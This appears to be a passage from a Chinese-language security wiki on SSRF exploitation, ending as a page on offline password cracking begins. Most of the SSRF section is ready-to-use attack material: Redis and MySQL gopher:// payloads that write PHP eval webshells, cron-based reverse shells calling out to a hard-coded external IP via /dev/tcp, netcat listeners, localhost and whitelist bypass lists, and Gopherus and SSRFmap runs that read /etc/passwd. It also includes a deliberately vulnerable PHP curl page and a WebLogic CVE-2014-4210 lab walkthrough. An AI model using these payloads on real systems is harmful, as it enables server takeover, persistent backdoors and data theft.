x " <?php eval($_POST['redis']);?> " 将变量x的值设置为PHP脚本,该脚本执行了POST请求中redis参数的内容 config set dir /var/www/html 设置数据库文件存储目录为/var/www/html config set dbfilename shell.php 设置数据库备份文件名为shell.php save 执行保存操作,将数据持久化到磁盘文件中 一次URL编码BURP编码,_不需要编码 1%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0a%73%61%76%65 将编码中的%0a 换行替换成%0d%0a 回车换行 (因为CRLF) 在 SSRF 攻击中,攻击者通常会构造一个用于访问 Redis 的 URL.Redis 使用一种简单的文本协议进行通信,其中行结束符被定义为 \\r )Carriage Return + Line Feed). 某些防护系统或安全设备会检测并过滤请求中的特殊字符,包括换行符) ).通过将 %0a)URL 编码表示的换行符)替换为 %0d%0a)URL 编码表示的回车符和换行符),可以绕过这样的安全检查. 这种替换之所以有效,是因为在处理 HTTP 请求时,服务器通常会解码 URL 并进行规范化,将 %0d%0a 转换为换行符 \\r .因此,通过使用 %0d%0a,攻击者可以欺骗服务器认为请求是合法的、无害的请求,从而成功触发对 Redis 数据库的访问. 1%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0d%0d%0a%73%61%76%65 二次URL编码(因为url会对其解码一次,curl再解码一次) 1%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 构造Payload,执行利用 123# Post url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%66%25%36%32%25%36%39%25%36%65%25%32%66%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%34%25%33%33%25%32%65%25%33%31%25%33%33%25%33%38%25%32%65%25%33%37%25%33%37%25%32%65%25%33%32%25%33%35%25%33%32%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%37%33%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 反弹Shell通过计划任务写反弹shell必须对/var/spool/cron有写权限 环境搭建12345678910111213# 安装php+nginx环境# 下载安装rediscd /optwget http://download.redis.io/releases/redis-2.8.17.tar.gz# 解压tar zxvf redis-2.8.17.tar.gz# 进入到redis目录cd redis-2.8.17make# 然后进入到src文件夹cd src/# **必须用root权限启动!!!!**nohup ./redis-server & 123456789101112# 创建一个网站,将以下php代码放入到根目录中<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result);?> 漏洞复现 先构造攻击语句 1234_set xxx " */1 * * * * bash -i>& /dev/tcp/107.173.198.230/6666 0>&1 "config set dir /var/spool/cronconfig set dbfilename rootsave 一次URL编码BURP编码,_不需要编码 1%73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0a%73%61%76%65 将编码中的%0a 换行替换成%0d%0a 回车换行 1%73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65 二次URL编码 1%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 构造Payload,执行利用 123# Post url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 VPS监听 1nc -lvvp 6666 防御 禁用不需要的协议(如:file:///、gopher://,dict://等),仅仅允许http和https请求 统一错误信息,防止根据错误信息判断端口状态 禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址 设置URL白名单或者限制内网IP Bypass绕过在线生成payload:https://tools.intigriti.io/redirector/ 绕过本地主机1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859## Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://0http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/ SMTPhttp://[::]:3128/ Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪## CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0## Decimal bypasshttp://2130706433/ = http://127.0.0.1http://017700000001 = http://127.0.0.1http://3232235521/ = http://192.168.0.1http://3232235777/ = http://192.168.1.1## Hexadecimal bypass127.0.0.1 = 0x7f 00 00 01http://0x7f000001/ = http://127.0.0.1http://0xc0a80014/ = http://192.168.0.20# Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)http://{domain}@127.0.0.1http://127.0.0.1#{domain}http://{domain}.127.0.0.1http://127.0.0.1/{domain}http://127.0.0.1/?d={domain}https://{domain}@127.0.0.1https://127.0.0.1#{domain}https://{domain}.127.0.0.1https://127.0.0.1/{domain}https://127.0.0.1/?d={domain}http://{domain}@localhosthttp://localhost#{domain}http://{domain}.localhosthttp://localhost/{domain}http://localhost/?d={domain}http://127.0.0.1%00{domain}http://127.0.0.1?{domain}http://127.0.0.1///{domain}https://127.0.0.1%00{domain}https://127.0.0.1%0A{domain}https://127.0.0.1?{domain}https://127.0.0.1///{domain} 反斜杠技巧 12url=https://attacker.com\\@victim.com/url=https://attacker.com\\anything@victim.com/ 其他绕过12345678910111213141516171819202122# Malformed URLs and rare addresseslocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# Trickshttp://1.1.1.1 &@2.2.2.2# @3.3.3.3/urllib2 : 1.1.1.1requests + browsers : 2.2.2.2urllib : 3.3.3.3filter_var() php function: 0://evil.com:80;http://google.com:80/# Weakparserhttp://127.1.1.1:80\\@127.2.2.2:80/http://127.1.1.1:80\\@@127.2.2.2:80/http://127.1.1.1:80:\\@@127.2.2.2:80/http://127.1.1.1:80#\\@127.2.2.2:80/ SSRF靶场通关https://xn--ivr.net/index.php/archives/19/https://xn--ivr.net/index.php/archives/19/ 123456789101112131415161718# Bypass_302购买一个域名,写一个flag.php<?phpheader("Location:http://127.0.0.1/flag.php");url=http://域名/flag.php# bypass_host url=http://0/flag.php# bypass_dns购买一个域名,修改自己域名的a记录,改成127.0.0.1url=http://域名/flag.php# bypass_@url=http://192.@0/flag.php#138 SSRF+Mysql Getshell前提是无密码的Mysql 1234567891011121314151617181920212223┌──(root㉿kill3r)-[/opt/TOP10/SSRF/Gopherus]└─# python2 gopherus.py --exploit mysql ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______/ \\ ___ / _ \\\\____ \\| | \\_/ __ \\_ __ \\ | \\/ ___/\\ \\_\\ ( <_> ) |_> > Y \\ ___/| | \\/ | /\\___ \\ \\______ /\\____/| __/|___| /\\___ >__| |____//____ > \\/ |__| \\/ \\/ \\/ author: $_SpyD3r_$For making it work username should not be password protected!!!Give MySQL username: rootGive query to execute: select 0x3c3f706870206576616c28245f504f53545b315d293b203f3e into outfile '/www/wwwroot/192.168.64.138/sh.php';Your gopher link is ready to do SSRF : gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6f%00%00%00%03%73%65%6c%65%63%74%20%30%78%33%63%33%66%37%30%36%38%37%30%32%30%36%35%37%36%36%31%36%63%32%38%32%34%35%66%35%30%34%66%35%33%35%34%35%62%33%31%35%64%32%39%33%62%32%30%33%66%33%65%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%77%77%77%2f%77%77%77%72%6f%6f%74%2f%31%39%32%2e%31%36%38%2e%36%34%2e%31%33%38%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01 _后还需要一层 url 编码 123456789101112131415POST /mysql/check.php HTTP/1.1Host: 192.168.64.138Content-Length: 2623Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.64.138Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.64.138/mysql/index.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeu=admin&returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%66%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%30%25%37%38%25%33%33%25%36%33%25%33%33%25%36%36%25%33%37%25%33%30%25%33%36%25%33%38%25%33%37%25%33%30%25%33%32%25%33%30%25%33%36%25%33%35%25%33%37%25%33%36%25%33%36%25%33%31%25%33%36%25%36%33%25%33%32%25%33%38%25%33%32%25%33%34%25%33%35%25%36%36%25%33%35%25%33%30%25%33%34%25%36%36%25%33%35%25%33%33%25%33%35%25%33%34%25%33%35%25%36%32%25%33%33%25%33%31%25%33%35%25%36%34%25%33%32%25%33%39%25%33%33%25%36%32%25%33%32%25%33%30%25%33%33%25%36%36%25%33%33%25%36%35%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%36%25%33%34%25%32%65%25%33%31%25%33%33%25%33%38%25%32%66%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31 WebLogic-ssrf(CVE-2014-4210)漏洞概述Oracle WebLogic Server是美国甲骨文)Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理. Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性. 类型 描述 漏洞名称 Oracle WebLogic Server SSRF漏洞 威胁类型 SSRF 威胁等级 中 漏洞ID CVE-2014-4210 受影响系统及应用版本 weblogic 10.0.2 – 10.3.6 服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等 漏洞复现SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源. 以下演示的 Weblogic中靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口 访问http://192.168.164.128:7001/uddiexplorer 端口探测SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了 在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息 通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址: 然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务 以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通. 反弹Shell接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab)这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令): 12345678910# 记得替换下方的ip以及端口testset 1 " * * * * * root bash -i >& /dev/tcp/107.173.198.230/7777 0>&1 "config set dir /etc/config set dbfilename crontabsaveaaa 首先对以上三条 redis 命令进行 url 编码 VPS中监听端口nc -lvvp 6666 将url编码内的%0A替换为%0D%0A%0D%0A1test%0D%0A%0D%0A%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.173.198.230%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0A%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaa 成功反弹 可进行利用的cron有如下几个地方: /etc/crontab 这个是肯定的 /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell. /var/spool/cron/root centos系统下root用户的cron文件 /var/spool/cron/crontabs/root debian系统下root用户的cron文件 修复方案目前厂商已经发布了升级补丁以修复此安全问题. https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.htmlhttps://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html 工具使用自动生成payload的工具 12345678910111213141516171819202122C:\\Users\\kill3r\\Downloads\\Gopherus-master>python2 gopherus.py --exploit redis ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______/ \\ ___ / _ \\\\____ \\| | \\_/ __ \\_ __ \\ | \\/ ___/\\ \\_\\ ( <_> ) |_> > Y \\ ___/| | \\/ | /\\___ \\ \\______ /\\____/| __/|___| /\\___ >__| |____//____ > \\/ |__| \\/ \\/ \\/ author: $_SpyD3r_$Ready To get SHELL# 你想要什么?What do you want?? (ReverseShell/PHPShell): ReverseShell# 提供你的IP地址通过Revershell与受害者连接(默认是127.0.0.1):Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.10.10# 他的Crontab目录位置是什么What can be his Crontab Directory location## For debugging(locally) you can use /var/lib/redis : /etc/ 最后生成的Payload可以直接复制攻击. 漏洞扫描 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py _____ _________________ / ___/ ___| ___ \\ ___| \\ `--.\\ `--.| |_/ / |_ _ __ ___ __ _ _ __ `--. \\`--. \\ /| _| '_ ` _ \\ / _` | '_ \\ /\\__/ /\\__/ / |\\ \\| | | | | | | | (_| | |_) |\\____/\\____/\\_| \\_\\_| |_| |_| |_|\\__,_| .__/ | | |_| usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l [HANDLER]] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] [--rfiles [TARGETFILES]] [--uagent USERAGENT] [--ssl [SSL]] [--proxy PROXY] [--level [LEVEL]]options: -h, --help:显示帮助信息并退出. -r REQFILE:指定SSRF请求文件. -p PARAM:指定要目标的SSRF参数. -m MODULES:指定要启用的SSRF模块. -l HANDLER:启动反向Shell的处理程序. -v [VERBOSE]:启用详细输出. --lhost LHOST:反向Shell的监听主机. --lport LPORT:反向Shell的监听端口. --uagent USERAGENT:要使用的用户代理. --ssl [SSL]:使用无需验证的HTTPS. --proxy PROXY:使用HTTP(s)代理)例如:http://localhost:8080). --level [LEVEL]:要执行的测试级别)1-5,默认为1).示例: python ssrfmap.py -r data/request2.txt -p url -m portscan python ssrfmap.py -r data/request.txt -p url -m redis python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 python ssrfmap.py -r data/request.txt -p url -m readfiles --rfiles 截取当前的数据包放置1.txt中 通过工具指定流量包去完成扫描请求 123456789101112131415┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python -m pip install -r requirements.txt┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py -r 1.txt -p url -m portscan | grep open ┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py -r 1.txt -p url -m readfiles > file.txt[INFO]:Module 'readfiles' launched ![INFO]:Reading file : /etc/passwd[INFO]:Writing file : /etc/passwd to 192.168.64.138/_etc_passwd[INFO]:Reading file : /etc/hosts[INFO]:Writing file : /etc/hosts to 192.168.64.138/_etc_hosts[INFO]:Reading file : /proc/self/cmdline[INFO]:Writing file : /proc/self/cmdline to 192.168.64.138/_proc_self_cmdline[INFO]:Reading file : /proc/self/exe[INFO]:Writing file : /proc/self/exe to 192.168.64.138/_proc_self_exe"},{"title":"二. 离线密码破解","path":"/wiki/VulnerabilityInsightDocs/二. 离线密码破解.html","content":"总字符数: 58.63K 代码: 37.36K, 文本: 13.63K 预计阅读时间: 3.69 小时 身份认证 禁止明文传输密码 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难) 服务器端用户数据库应加盐加密保存 破解思路 嗅探获取密码HASH 利用漏洞登录服务器并从用户数据库获取密码HASH 识别HASH类型 长度字符集 利用离线破解工具碰撞密码HASH 优势 离线不会触发密码锁定机制 不会产生大量登录失败日志引起管理员注意 哈希-密码基础专业术语 术语 解释 Plaintext:明文 加密或进行哈希计算之前的数据,通常是文本.但不总是,因为它可以是一张照片或其他文件. Encoding:编码 这不是一种加密形式,只是一种数据表示形式.如 base64或十六进制. Hash:哈希 hash意译是散列,音译是哈希,哈希值是散列函数的输出.哈希也可以用作动词:to hash,意思是生成某些数据的hash(散列) 值. Brute force:暴力破解 通过尝试每个不同的密码或每个不同的密钥来破解加密 Cryptanalysis:密码分析 通过发现基础数学的弱点来攻击密码学(通过发现基数的弱点来攻击密码加密技术) 哈希(散列)函数是什么?哈希函数介绍 ​\tHash函数,又称杂凑函数、散列函数,它能够将任意长度的信息转换成固定长度的哈希值(数字摘要),并且任意不同长度消息或者文件所生成的哈希值是不一样的. 不可逆性: hash函数是没有key的,所以哈希函数是不可逆的,这意味着很难或不可能从哈希函数的输出返回到输入.即使对于相同的输入,好的哈希函数也应该产生唯一的哈希值. 固定输出大小: 哈希函数的输出是固定大小的,不论输入数据的大小.这有助于确保输出的一致性,无论输入是多大. 雪崩效应:在哈希函数或密码散列函数中,微小的输入变化会引起输出完全不同的现象.具体来说,如果输入数据发生了细微的修改,其对应的哈希值将会有很大的差异. 无碰撞性:在输入空间中的任意两个不同的输入值生成的哈希值是唯一的,不会产生碰撞 输出的编码: 哈希函数的输出通常是原始字节,可以通过不同的编码方式进行呈现,例如以64为基数的base64编码或十六进制形式.这样的编码不提供有关原始数据的有用信息. 常见的Hash算法有: MD5算法:以512位数据块为单位来处理输入,产生128位的信息摘要.常用于文件校验. 